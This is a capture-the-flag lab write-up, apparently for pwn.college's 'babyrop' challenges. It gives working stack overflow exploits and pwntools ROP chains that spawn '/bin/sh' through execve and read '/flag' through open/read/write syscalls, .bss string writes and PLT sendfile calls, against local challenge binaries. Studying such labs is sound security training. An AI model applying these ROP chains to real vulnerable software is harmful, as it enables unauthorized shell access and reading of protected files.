Return Oriented Programming¶
level 1.0¶
Straightforward; offset and address are given in debug output
python3 -c 'import sys; sys.stdout.buffer.write(b"a"*56 + b"\xe0\x1d\x40")' | /challenge/babyrop_level1.0
level 1.1¶
GDB -> disas challenge
-> 0x0000000000401e48 <+29>: lea rax,[rbp-0x70]
-> buffer starts at rbp-0x70 and return address stored at rbp+8
python3 -c 'import sys; sys.stdout.buffer.write(b"a"*0x78 + b"\x2e\x1d\x40")' | /challenge/babyrop_level1.1
level 2.0¶
offset given in debug output; GDB -> info functions
->
win_stage_1()
at 0x402108win_stage_2()
at 0x4021b5
python3 -c 'import sys; sys.stdout.buffer.write(b"a"*0x78 + b"\x08\x21\x40"+b"\x00"*5+b"\xb5\x21\x40")' | /challenge/babyrop_level2.0
level 2.1¶
GDB ->
- buffer starts at rbp-0x50
win_stage_1()
at 0x4012c4win_stage_2()
at 0x401371
python3 -c 'import sys; sys.stdout.buffer.write(b"a"*0x58 + b"\xc4\x12\x40"+b"\x00"*5+b"\x71\x13\x40")' | /challenge/babyrop_level2.1
level 3.0¶
offset given in debug output \
Get addresses of functions and pop rdi; ret
gadget:
objdump -t /challenge/babyrop_level3.0 | grep ' F '
ROPgadget --binary /challenge/babyrop_level3.0 | grep "pop rdi ; ret"`
from pwn import *
import sys
offset = 104
win_stages = [0x40203f,0x401f5f,0x4022e4,0x4021fe,0x40211b]
gadget = 0x4026d3
payload = b"a"*offset
for i in range(5):
payload += p64(gadget)
payload += p64(i+1)
payload += p64(win_stages[i])
sys.stdout.buffer.write(payload)
python run.py | /challenge/babyrop_level3.0
level 3.1¶
- GDB -> find offset and function addresses
- ROPgadget -> find gadget address
Now, proceed same as prev
level 4.0¶
- Got starting address of buffer from the stack leak output
checksec /challenge/babyrop_level4.0
-> NX is enabled (stack is non-executable), so shellcode injection won't work- GDB -> find offset
- ROPgadget -> find gadgets to construct ROP chain
Spawning a shell¶
from pwn import *
p = process('/challenge/babyrop_level4.0')
p.recvuntil(b'[LEAK]')
addr = int(str(p.recvline().split(b" ")[-1])[2:-4], 16)
offset = 0x38
pop_rdi = 0x401e07 # pop rdi; ret
pop_rsi = 0x401e17 # pop rsi; ret
pop_rdx = 0x401de8 # pop rdx; ret
pop_rax = 0x401df7 # pop rax; ret
syscall = 0x401ddf
binsh = addr + offset + 72
payload = b'A'*offset
payload += p64(pop_rdi) + p64(binsh) # 1st arg: address of "/bin/sh"
payload += p64(pop_rsi) + p64(0) # 2nd arg: NULL
payload += p64(pop_rdx) + p64(0) # 3rd arg: NULL
payload += p64(pop_rax) + p64(59) # syscall number for execve
payload += p64(syscall) # execve("/bin/sh", NULL, NULL)
payload += b"/bin/sh\x00"
p.sendline(payload)
p.interactive()
Shell was spawned successfully, but cat /flag
gave Permission denied error
Executing open(), read(), write() worked¶
from pwn import *
p = process('/challenge/babyrop_level4.0')
p.recvuntil(b'[LEAK]')
addr = int(str(p.recvline().split(b" ")[-1])[2:-4], 16)
offset = 0x38
pop_rdi = 0x401e07 # pop rdi; ret
pop_rsi = 0x401e17 # pop rsi; ret
pop_rdx = 0x401de8 # pop rdx; ret
pop_rax = 0x401df7 # pop rax; ret
syscall = 0x401ddf # syscall
flag_path = addr + offset + 8*25
buffer = flag_path + 10
size = 100
payload = b'A'*offset
payload += p64(pop_rdi) + p64(flag_path) # 1st arg: pointer to "/flag"
payload += p64(pop_rsi) + p64(0) # 2nd arg: O_RDONLY
payload += p64(pop_rax) + p64(2) # 3rd arg: syscall number for open
payload += p64(syscall) # open("/flag", O_RDONLY)
payload += p64(pop_rdi) + p64(3) # 1st arg: file descriptor returned by open (stdout is 1, fd is 3 here)
payload += p64(pop_rsi) + p64(buffer) # 2nd arg: buffer to store content of "/flag"
payload += p64(pop_rdx) + p64(size) # 3rd arg: number of bytes to read
payload += p64(pop_rax) + p64(0) # syscall number for read
payload += p64(syscall) # read(3, buffer, size)
payload += p64(pop_rdi) + p64(1) # 1st arg: file descriptor for stdout
payload += p64(pop_rsi) + p64(buffer) # 2nd arg: buffer having content of "/flag"
payload += p64(pop_rdx) + p64(size) # 3rd arg: size to write
payload += p64(pop_rax) + p64(1) # syscall number for write
payload += p64(syscall) # write(1, buffer, size)
payload += b"/flag\x00"
p.sendline(payload)
p.interactive()
level 4.1¶
Prev solution works
level 5.0¶
Here, we don't get a stack leak; so try to find a helpful string in the binary itself:
strings -t x /challenge/babyrop_level5.0
No luck there. But.. we can insert a string in the .bss section!
objdump -s -j .bss /challenge/babyrop_level5.0
-> get address of .bss section- ROPgadget -> get addresses of gadgets
- GDB -> get offset
from pwn import *
p = process('/challenge/babyrop_level5.0')
offset = 0x48
pop_rdi = 0x401dc8 # pop rdi; ret
pop_rsi = 0x401dd0 # pop rsi; ret
pop_rdx = 0x401dc0 # pop rdx; ret
pop_rax = 0x401da0 # pop rax; ret
syscall = 0x401db0
bssaddr = 0x405090
flag_path = b'/flag\x00'
buffer = bssaddr + len(flag_path) + 1
size = 75
payload = b'A'*offset
# read(0, bssaddr, len(flag_path))
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bssaddr)
payload += p64(pop_rdx) + p64(len(flag_path))
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
# open("/flag", O_RDONLY)
payload += p64(pop_rdi) + p64(bssaddr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rax) + p64(2)
payload += p64(syscall)
# read(3, buffer, size)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(buffer)
payload += p64(pop_rdx) + p64(size)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
# write(1, buffer, size)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(buffer)
payload += p64(pop_rdx) + p64(size)
payload += p64(pop_rax) + p64(1)
payload += p64(syscall)
p.sendline(payload)
p.sendline(flag_path)
p.interactive()
level 5.1¶
Prev solution works
level 6.0¶
Now, we don't have a syscall
gadget
checksec /challenge/babyrop_level6.0
-> RELRO: Partial -> PLT existsobjdump -d /challenge/babyrop_level6.0 | grep "@plt"
-> get addresses of PLT functionsobjdump -s -j .bss /challenge/babyrop_level6.0
-> get address of .bss sectionROPgadget --binary /challenge/babyrop_level6.0
-> get addresses of gadgets- GDB -> get offset
from pwn import *
p = process('/challenge/babyrop_level6.0')
offset = 0x68
pop_rdi = 0x401b98 # pop rdi; ret
pop_rsi = 0x401b90 # pop rsi; ret
pop_rdx = 0x401ba0 # pop rdx; ret
pop_rcx = 0x401b88 # pop rcx; ret
read_plt = 0x401160
open_plt = 0x4011d0
sendfile_plt = 0x4011a0
bssaddr = 0x4040a0
flag_path = b'/flag\x00'
size = 64
payload = b'A' * offset
# read(stdin, bssaddr, len(flag_path))
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bssaddr)
payload += p64(pop_rdx) + p64(len(flag_path))
payload += p64(read_plt)
# open("/flag", O_RDONLY)
payload += p64(pop_rdi) + p64(bssaddr)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_plt)
# sendfile(stdout, fd, 0, size)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(3)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rcx) + p64(size)
payload += p64(sendfile_plt)
p.sendline(payload)
p.sendline(flag_path)
p.interactive()
level 6.1¶
Prev solution works
Summary¶
- Control Hijack to a function
- Chaining functions
- Chaining functions with arguments
- Chaining ROP gadgets to make syscalls; known buffer address
- 4 but buffer address not known; using .bss section
- 5 but syscall gadget not present; using PLT functions